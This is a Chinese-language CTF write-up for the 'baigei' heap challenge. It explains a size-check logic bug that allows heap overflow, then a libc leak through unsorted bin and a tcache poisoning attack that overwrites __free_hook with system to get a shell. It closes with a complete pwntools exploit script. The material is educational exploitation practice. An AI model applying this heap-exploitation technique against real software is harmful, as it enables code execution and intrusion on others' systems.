前言

最近有点迷茫，开始放松自己了。
心态还不是很对，需要继续调整。

介绍

本题是一题经典的堆题，拥有增删改查功能。
在线题目可以在NSSCTF中找到。
[长安杯 2021学生组]baigei

漏洞

Free函数将chunk ptr置零，因此不存在UAF漏洞。

  free(*((void **)&unk_2020E0 + v1));
  *((_QWORD *)&unk_2020E0 + v1) = 0LL;

Add函数存在逻辑漏洞。

v1 = sub_9A9();
  if ( v1 > 0xF )
    return puts("error!");
  puts("size?");
  nbytes = sub_9A9();
  qword_202060[v1] = nbytes;
  if ( nbytes > 1024 )
    return puts("error!");
  chunk_ptr = malloc(nbytes);

函数会首先修改变量，也就是堆的大小为输入的数据，再进行验算。
即使验算不通过也不会退出程序，只会打印出error。
利用这点我们可以做到堆溢出。只需要修改大小比先前大再编辑内容即可。

利用思路

首先通过Unsorted Bin Attack泄露Libc的地址。
然后利用Add函数内的堆溢出漏洞修改__free_hook为system。
之后free即可getshell。

思路很简单，实际上实现起来还是比较困难的。
至少对我而言是这样。

利用过程

一.编写交互函数

def add(idx, size, content = b'a'):
    io.sendlineafter(b'>>\n', b'1')
    io.sendlineafter(b'idx?\n', str(idx))
    io.sendlineafter(b'size?\n', str(size))
    io.sendafter(b'content?\n', content)


def free(idx):
    io.sendlineafter(b'>>\n', b'2')
    io.sendlineafter(b'idx?\n', str(idx))


def edit(idx, size, content):
    io.sendlineafter(b'>>\n', b'3')
    io.sendlineafter(b'idx?\n', str(idx))
    io.sendlineafter(b'size?\n', str(size))
    io.sendafter(b'content?\n', content)


def show(idx):
    io.sendlineafter(b'>>\n', b'4')
    io.sendlineafter(b'idx?\n', str(idx))

先定义好和程序交互的函数，需要注意的是在content部分的交互不能使用sendlineafter。

二.填充Tcache Bin

从glibc2.26开始引入了一个freed chunk管理机制:Tcache
Tcache使用的是单链表的数据结构，与Fastbin比较相似。
由于泄露Libc需要用到Unsorted Bin Attack，因此我们首先填充掉所有的Tcache Bin。
与Fastbin相同，同一大小的Bin只需要同时存在7个就无法放入其中。
利用这个机制，我们申请8个大小一样的Tcache Bin，再全部释放，就能得到一个Unsorted Bin。
为了防止Unsorted Bin被合并进入Top Chunk。我们额外申请一个chunk。大小任意。

for i in range(8):
    add(i, 0x80)
add(8, 0x10)

我们使用for循环，创建了8个大小为0x80的堆。

可以看到现在内存中有8个大小为0x90的堆，一个大小为0x20的堆。

三.释放Tcache Bin

可以看到现在第八个堆已经指向了main_arena的附近。但是由于Free函数不存在UAF漏洞，我们无法直接调用。
我们需要使用另一个技巧：
当存在Unsorted Bin时，我们申请一块大小小于Unsorted Bin的chunk，这个chunk的bk地址就会指向main_arena的一处固定偏移的地址。

四.获取Libc地址

我们重新申请7个大小为0x80的Tcache Chunk。这样会让程序从Unsorted Bin中分割大小作为Chunk。

for i in range(7):
    add(i, 0x80)
add(9, 0x20, b'a'*8)

在parseheap中，我们新建的堆应该是0x30大小。

可以看到堆块成功创建，使用指令x/8gx查看堆块内容。


堆块的bk指针指向了main_arena+224附近。
利用这个堆块，我们可以得到Libc的基址。
我们使用add(9)申请堆块，自然我们的show函数参数就是9。

show(9)

就会打印出堆块中的内容。
由于malloc函数返回的指针是指向userdata部分的。而userdata部分正好是从fd开始的。因此我们接收完fd指针后就是我们的bk指针，我们也可以使用recvuntil接收。

libcbase = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

这里接收的是main_arena + 224的地址，我们需要进行计算才能得到基址。
通过print函数我们可以打印出这个地址。

print(hex(libcbase))

使用这个地址减去GDB中的libc地址就能得到偏移。
注意，这里不能使用上一次获得的地址，必须是同一次，因为每一次地址都会变动


得到偏移0x3ebd20
因此真正的Libc基址是

libc_base = libcbase - 0x3ebd20

五.Tcache Bin Attack

我们首先将Unsorted Bin申请回来。

add(0, 0x50)

然后通过libc基址计算出free_hook和system的地址。

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

接下来我们申请3个大小为0x10的堆块，构造我们的利用链。

add(1, 0x10)
add(2, 0x10)
add(3, 0x10)

再释放掉chunk 2和chunk 3，令chunk 2和chunk 3进入Tcache Bin中。

free(3)
free(2)

然后利用add函数的逻辑Bug，修改chunk 1的大小为0x410。
为什么是0x410呢？因为Tcache Bin默认堆块最大大小为0x410。
这里使用0x410主要是为了退出add函数。

  nbytes = sub_9A9();
  qword_202060[v1] = nbytes;
  if ( nbytes > 1024 )                       
    return puts("error!");

我们修改了堆块的大小（实际上堆块的Chunk Header并未被修改，修改的是程序所记录的堆块大小的变量。
这样可以让我们使用edit函数进行堆溢出。

io.sendlineafter(b'>>\n', b'1')
io.sendlineafter(b'idx?\n', str(1))
io.sendlineafter(b'size?\n', str(0x410))

edit(1, 0x28, p64(0) * 3 + p64(0x21) + p64(free_hook))

在这里我们修改了chunk 1的下一个chunk，也就是0x5642f979f710 的内容。修改了它的fd指针为__free_hook函数的地址。
这里的0x28是可以自定义的，不论是0x50还是0x100都能成功Getshell。
但是必须大于等于0x28，因为这里我们覆盖了5个参数，至少需要5 * 8 = 40也就是十六进制0x28大小的数。
然后我们申请2个0x10大小的堆块。

add(4, 0x10, b'/bin/sh\x00')
add(5, 0x10, p64(system))

把binsh以及system函数地址送入，随后触发__free_hook函数即可getshell。

free(4)

六.完整EXP：

from pwn import *

context(os='linux', arch='amd64' , log_level='debug')
io = process('./baigei')
#io = remote('node4.anna.nssctf.cn', 28399)
elf = ELF('./baigei')
libc = ELF('/home/kaguya/Desktop/how2heap-master/glibc-all-in-one/libs/2.27-3ubuntu.14_amd64/libc-2.27.so')

def debug():
    gdb.attach(io)
    pause()

def add(idx, size, content = b'a'):
    io.sendlineafter(b'>>\n', b'1')
    io.sendlineafter(b'idx?\n', str(idx))
    io.sendlineafter(b'size?\n', str(size))
    io.sendafter(b'content?\n', content)


def free(idx):
    io.sendlineafter(b'>>\n', b'2')
    io.sendlineafter(b'idx?\n', str(idx))


def edit(idx, size, content):
    io.sendlineafter(b'>>\n', b'3')
    io.sendlineafter(b'idx?\n', str(idx))
    io.sendlineafter(b'size?\n', str(size))
    io.sendafter(b'content?\n', content)


def show(idx):
    io.sendlineafter(b'>>\n', b'4')
    io.sendlineafter(b'idx?\n', str(idx))


# Leak Libc
for i in range(8):
    add(i, 0x80)
add(8, 0x10)
for i in range(8):
    free(i)
for i in range(7):
    add(i, 0x80)
add(9, 0x20, b'a'*8)
show(9)

libcbase = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = libcbase - 0x3ebd20
print(hex(libc_base))

add(0, 0x50)

# Tcache Bin Attack
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(1, 0x10)
add(2, 0x10)
add(3, 0x10)
free(3)
free(2)

# Change Chunk size
io.sendlineafter(b'>>\n', b'1')
io.sendlineafter(b'idx?\n', str(1))
io.sendlineafter(b'size?\n', str(0x410))

edit(1, 0x28, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(4, 0x10, b'/bin/sh\x00')
add(5, 0x10, p64(system))

# Getshell
free(4)
io.interactive()